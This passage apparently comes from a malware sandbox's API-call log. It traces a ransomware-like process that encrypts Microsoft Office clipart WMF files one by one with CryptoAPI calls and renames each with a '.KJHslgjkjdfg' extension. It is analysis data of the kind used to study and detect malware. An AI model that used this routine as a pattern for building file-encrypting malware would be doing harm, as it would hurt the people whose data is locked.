lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.180] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.180] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.180] GetProcessHeap () returned 0x2ef0000 [0194.180] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.180] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.180] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.180] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.180] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.180] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.180] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.181] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.181] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.181] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x414, lpOverlapped=0x0) returned 1 [0194.181] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x420, dwBufLen=0x420 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x420) returned 1 [0194.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.181] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x420, lpOverlapped=0x0) returned 1 [0194.181] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.181] SetEndOfFile (hFile=0x130) returned 1 [0194.184] GetProcessHeap () returned 0x2ef0000 [0194.184] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.184] GetProcessHeap () returned 0x2ef0000 [0194.184] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.kjhslgjkjdfg")) returned 1 [0194.185] CloseHandle (hObject=0x130) returned 1 [0194.185] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0194.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.186] GetProcessHeap () returned 0x2ef0000 [0194.186] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.186] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.186] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.188] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.188] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.188] GetProcessHeap () returned 0x2ef0000 [0194.188] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.188] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.188] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.188] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.188] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.188] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.189] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.189] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.189] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.189] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.189] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x876, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x876, lpOverlapped=0x0) returned 1 [0194.189] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x880, dwBufLen=0x880 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x880) returned 1 [0194.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.189] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x880, lpOverlapped=0x0) returned 1 [0194.189] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.189] SetEndOfFile (hFile=0x130) returned 1 [0194.191] GetProcessHeap () returned 0x2ef0000 [0194.191] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.191] GetProcessHeap () returned 0x2ef0000 [0194.191] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.kjhslgjkjdfg")) returned 1 [0194.192] CloseHandle (hObject=0x130) returned 1 [0194.192] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0194.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.194] GetProcessHeap () returned 0x2ef0000 [0194.194] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.194] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.194] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.194] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.194] GetProcessHeap () returned 0x2ef0000 [0194.194] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.194] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.194] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.194] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.196] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.196] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.196] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.196] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.196] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.196] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.197] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6b0, lpOverlapped=0x0) returned 1 [0194.197] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6b0, dwBufLen=0x6b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6b0) returned 1 [0194.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.197] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6b0, lpOverlapped=0x0) returned 1 [0194.197] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.197] SetEndOfFile (hFile=0x130) returned 1 [0194.199] GetProcessHeap () returned 0x2ef0000 [0194.199] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.199] GetProcessHeap () returned 0x2ef0000 [0194.199] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.kjhslgjkjdfg")) returned 1 [0194.200] CloseHandle (hObject=0x130) returned 1 [0194.200] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0194.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.201] GetProcessHeap () returned 0x2ef0000 [0194.201] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.201] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.201] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0194.203] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.203] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.203] GetProcessHeap () returned 0x2ef0000 [0194.203] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.203] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.203] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.203] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.203] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.203] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.203] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.203] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.203] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.204] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.204] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x20ae, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x20ae, lpOverlapped=0x0) returned 1 [0194.205] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20b0, dwBufLen=0x20b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20b0) returned 1 [0194.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.205] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x20b0, lpOverlapped=0x0) returned 1 [0194.205] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.205] SetEndOfFile (hFile=0x130) returned 1 [0194.207] GetProcessHeap () returned 0x2ef0000 [0194.207] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.207] GetProcessHeap () returned 0x2ef0000 [0194.207] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.kjhslgjkjdfg")) returned 1 [0194.208] CloseHandle (hObject=0x130) returned 1 [0194.208] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0194.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.209] GetProcessHeap () returned 0x2ef0000 [0194.209] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.209] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.209] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.209] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.209] GetProcessHeap () returned 0x2ef0000 [0194.209] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.209] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.209] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.209] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.211] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.211] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, 